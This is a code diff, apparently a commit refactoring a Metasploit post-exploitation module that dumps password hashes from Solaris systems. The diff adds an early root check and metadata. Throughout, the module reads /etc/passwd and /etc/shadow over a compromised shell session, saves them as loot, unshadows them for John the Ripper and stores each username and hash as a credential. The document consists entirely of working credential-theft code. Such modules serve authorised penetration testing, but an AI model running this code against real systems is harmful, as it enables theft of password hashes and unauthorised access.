@@ -13,56 +13,58 @@ def initialize(info = {})
1313 info ,
1414 'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems' ,
1515 'Description' => %q{
16- Post module to dump the password hashes for all users on a Solaris System
16+ Post module to dump the password hashes for all users on a Solaris system.
1717 } ,
1818 'License' => MSF_LICENSE ,
1919 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ] ,
2020 'Platform' => [ 'solaris' ] ,
21- 'SessionTypes' => [ 'shell' ]
21+ 'SessionTypes' => [ 'shell' ] ,
22+ 'Notes' => {
23+ 'Stability' => [ CRASH_SAFE ] ,
24+ 'SideEffects' => [ ] ,
25+ 'Reliability' => [ ]
26+ }
2227 )
2328 )
2429 end
2530
26- # Run Method for when run command is issued
2731 def run
28- if is_root?
29- passwd_file = read_file ( '/etc/passwd' )
30- shadow_file = read_file ( '/etc/shadow' )
32+ fail_with ( Failure ::NoAccess , 'You must run this module as root!' ) unless is_root?
3133
32- # Save in loot the passwd and shadow file
33- p1 = store_loot ( 'solaris.shadow' , 'text/plain' , session , shadow_file , 'shadow.tx' , 'Solaris Password Shadow File' )
34- p2 = store_loot ( 'solaris.passwd' , 'text/plain' , session , passwd_file , 'passwd.tx' , 'Solaris Passwd File' )
35- vprint_good ( "Shadow saved in: #{ p1 } " )
36- vprint_good ( "passwd saved in: #{ p2 } " )
34+ passwd_file = read_file ( '/etc/passwd' )
35+ shadow_file = read_file ( '/etc/shadow' )
3736
38- # Unshadow the files
39- john_file = unshadow ( passwd_file , shadow_file )
40- john_file . each_line do |l |
41- hash_parts = l . split ( ':' )
42- jtr_format = Metasploit ::Framework ::Hashes . identify_hash hash_parts [ 1 ]
43- if jtr_format . empty? # overide the default
44- jtr_format = 'des,bsdi,crypt'
45- end
46- credential_data = {
47- jtr_format : jtr_format ,
48- origin_type : :session ,
49- post_reference_name : refname ,
50- private_type : :nonreplayable_hash ,
51- private_data : hash_parts [ 1 ] ,
52- session_id : session_db_id ,
53- username : hash_parts [ 0 ] ,
54- workspace_id : myworkspace_id
55- }
56- create_credential ( credential_data )
57- print_good ( l . chomp )
58- end
59- # Save pwd file
60- upassf = store_loot ( 'solaris.hashes' , 'text/plain' , session , john_file , 'unshadowed_passwd.pwd' , 'Solaris Unshadowed Password File' )
61- print_good ( "Unshadowed Password File: #{ upassf } " )
37+ # Save in loot the passwd and shadow file
38+ p1 = store_loot ( 'solaris.shadow' , 'text/plain' , session , shadow_file , 'shadow.tx' , 'Solaris Password Shadow File' )
39+ p2 = store_loot ( 'solaris.passwd' , 'text/plain' , session , passwd_file , 'passwd.tx' , 'Solaris Passwd File' )
40+ vprint_good ( "Shadow saved in: #{ p1 } " )
41+ vprint_good ( "passwd saved in: #{ p2 } " )
6242
63- else
64- print_error ( 'You must run this module as root!' )
43+ # Unshadow the files
44+ john_file = unshadow ( passwd_file , shadow_file )
45+ john_file . each_line do |l |
46+ hash_parts = l . split ( ':' )
47+ jtr_format = Metasploit ::Framework ::Hashes . identify_hash hash_parts [ 1 ]
48+ if jtr_format . empty? # overide the default
49+ jtr_format = 'des,bsdi,crypt'
50+ end
51+ credential_data = {
52+ jtr_format : jtr_format ,
53+ origin_type : :session ,
54+ post_reference_name : refname ,
55+ private_type : :nonreplayable_hash ,
56+ private_data : hash_parts [ 1 ] ,
57+ session_id : session_db_id ,
58+ username : hash_parts [ 0 ] ,
59+ workspace_id : myworkspace_id
60+ }
61+ create_credential ( credential_data )
62+ print_good ( l . chomp )
6563 end
64+
65+ # Save pwd file
66+ upassf = store_loot ( 'solaris.hashes' , 'text/plain' , session , john_file , 'unshadowed_passwd.pwd' , 'Solaris Unshadowed Password File' )
67+ print_good ( "Unshadowed Password File: #{ upassf } " )
6668 end
6769
6870 def unshadow ( pf , sf )
@@ -78,6 +80,7 @@ def unshadow(pf, sf)
7880 end
7981 end
8082 end
83+
8184 return unshadowed
8285 end
8386end
0 commit comments